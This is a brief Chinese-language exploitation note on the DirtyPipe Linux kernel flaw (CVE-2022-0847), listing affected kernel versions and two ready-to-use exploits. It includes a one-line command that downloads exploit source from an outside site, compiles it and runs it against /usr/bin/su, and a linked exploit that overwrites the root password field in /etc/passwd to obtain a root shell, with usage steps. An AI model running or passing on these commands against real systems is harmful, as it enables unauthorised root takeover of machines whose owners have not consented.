0x00 漏洞描述
DirtyPipe (CVE-2022-0847) 是自 5.8 以来Linux内核中的一个漏洞,它允许覆盖任意只读文件中的数据。
具体是通过覆盖r后面的5个字节,为了将x替换为空,相当于置空了密码,这样su无需密码可直接提权。
0x01 影响版本
5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
0x02 漏洞复现
脚本一
好像无法复原,轻易不要使用。
wget https://haxx.in/files/dirtypipez.c gcc -o dirtypipez dirtypipez.c ./dirtypipez /usr/bin/su

脚本二
升级后的脚本^^,可以复原密码。
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
修改为覆盖 /etc/passwd 中的 root 密码字段并在弹出 shell 后恢复。
使用方法:
Run./compile.sh
then./exploit
and it'll pop a root shell.